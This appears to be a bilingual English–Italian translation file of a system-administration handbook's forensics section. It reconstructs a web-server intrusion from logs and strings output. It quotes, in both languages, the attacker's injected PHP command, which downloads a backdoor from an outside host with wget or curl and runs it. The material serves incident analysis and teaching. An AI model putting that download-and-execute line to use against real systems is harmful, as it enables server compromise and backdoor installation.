it-IT: Ora che il servizio è stato ripristinato, è tempo di fare un'analisi approfondita dell'immagine del disco del sistema compromesso per capire il vettore d'attacco. Quando viene montata l'immagine, bisogna fare attenzione ad usare le opzioni <literal>ro,nodev,noexec,noatime</literal> per evitare di cambiarne il contenuto (inclusi la data e l'ora di accesso ai file) oppure di lanciare per sbaglio programmi compromessi.

en: Retracing an attack scenario usually involves looking for everything that was modified and executed:
it-IT: Ripercorrere lo scenario dell'attacco spesso richiede di ricercare tutto ciò che è stato modificato o eseguito:

en: <filename>.bash_history</filename> files often provide for a very interesting read;
it-IT: I file <filename>.bash_history</filename> forniscono spesso una lettura molto interessante;

en: so does listing files that were recently created, modified or accessed;
it-IT: e lo stesso vale per l'elenco dei file che sono stati creati, modificati o a cui si è acceduto di recente;

en: the <command>strings</command> command helps identifying programs installed by the attacker, by extracting text strings from a binary;
it-IT: il comando <command>strings</command> aiuta ad identificare programmi installati dall'autore dell'attacco, tramite l'estrazione delle stringhe di testo dai file binari;

en: the log files in <filename>/var/log/</filename> often allow reconstructing a chronology of events;
it-IT: spesso i file di log in <filename>/var/log/</filename> permettono di ricostruire cronologicamente gli eventi;

en: special-purpose tools also allow restoring the contents of potentially deleted files, including log files that attackers often delete.
it-IT: l'uso di strumenti specifici permette anche di ripristinare il contenuto di file potenzialmente eliminati, inclusi file di log che vengono spesso rimossi dagli autori degli attacchi.

en: Reconstituting the Attack Scenario
it-IT: Ricostruire lo scenario dell'intrusione

en: All the elements collected during the analysis should fit together like pieces in a jigsaw puzzle; the creation of the first suspect files is often correlated with logs proving the breach. A real-world example should be more explicit than long theoretical ramblings.
it-IT: Tutti gli elementi raccolti durante le analisi devono incastrarsi tra loro come i pezzi di un puzzle; la creazione dei primi file sospetti è spesso confermata dai log che provano l'intrusione. Un esempio reale è molto più esplicativo di lunghe divagazioni teoriche.

en: The following log is an extract from an Apache <filename>access.log</filename>:
it-IT: Il seguente log sono un estratto dall'<filename>access.log</filename> di Apache:

en: Decoding this long URL leads to understanding that the attacker managed to run some PHP code, namely: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Indeed, a <filename>bd</filename> file was found in <filename>/tmp/</filename>. Running <command>strings /mnt/tmp/bd</command> returns, among other strings, <literal>PsychoPhobia Backdoor is starting...</literal>. This really looks like a backdoor.
it-IT: La decodifica questo lungo URL porta a capire che l'autore dell'attacco è riuscito a eseguire del codice PHP, ossia: <command>system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &amp;")</command>. Infatti, un file <filename>bd</filename> è stato trovato in <filename>/tmp/</filename>. Lanciando <command>strings /mnt/tmp/bd</command> si ottiene, oltre ad altre stringhe, <literal>PsychoPhobia Backdoor is starting...</literal>. Sembra proprio una backdoor.

en: Some time later, this access was used to download, install and run an IRC <emphasis>bot</emphasis> that connected to an underground IRC network. The bot could then be controlled via this protocol and instructed to download files for sharing. This program even has its own log file:
it-IT: Qualche tempo dopo, questo accesso è stato usato per scaricare, installare ed eseguire un <emphasis>bot</emphasis> IRC che si è connesso ad una rete IRC segreta. Il bot poteva poi essere controllato attraverso questo protocollo e istruito per scaricare file da condividere. Questo programma ha addirittura un proprio file di log:

en: These traces show that two video files have been stored on the server by way of the 82.50.72.202 IP address.
it-IT: Queste informazioni tracciate mostrano che sul server sono stati salvati due file video attraverso l'indirizzo IP 82.50.72.202.

en: In parallel, the attacker also downloaded a pair of extra files, <filename>/tmp/pt</filename> and <filename>/tmp/loginx</filename>. Running these files through <command>strings</command> leads to strings such as <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> and <foreignphrase>Now wait for suid shell...</foreignphrase>. These look like programs exploiting local vulnerabilities to obtain administrative privileges. Did they reach their target? In this case, probably not, since no files seem to have been modified after the initial breach.
it-IT: In parallelo, l'autore dell'attacco ha inoltre scaricato un paio di file aggiuntivi, <filename>/tmp/pt</filename> e <filename>/tmp/loginx</filename>. Passando questi file in <command>strings</command> si ottengono stringhe tipo <foreignphrase>Shellcode placed at 0x%08lx</foreignphrase> e <foreignphrase>Now wait for suid shell...</foreignphrase>. Questi sembrano programmi che sfruttano vulnerabilità locali per ottenere i privilegi di amministratore. Hanno raggiunto il loro scopo? In questo caso, probabilmente no, dato che nessun file sembra essere stato modificato dopo l'intrusione iniziale.

en: In this example, the whole intrusion has been reconstructed, and it can be deduced that the attacker has been able to take advantage of the compromised system for about three days; but the most important element in the analysis is that the vulnerability has been identified, and the administrator can be sure that the new installation really does fix the vulnerability.
it-IT: In questo esempio, è stata ricostruita l'intera intrusione, e si può dedurre che l'autore dell'attacco è riuscito a sfruttare il sistema compromesso per circa tre giorni; ma l'elemento più importante nell'analisi è che la vulnerabilità è stata identificata, e l'amministratore può stare tranquillo che la nuova installazione ripara realmente la vulnerabilità.
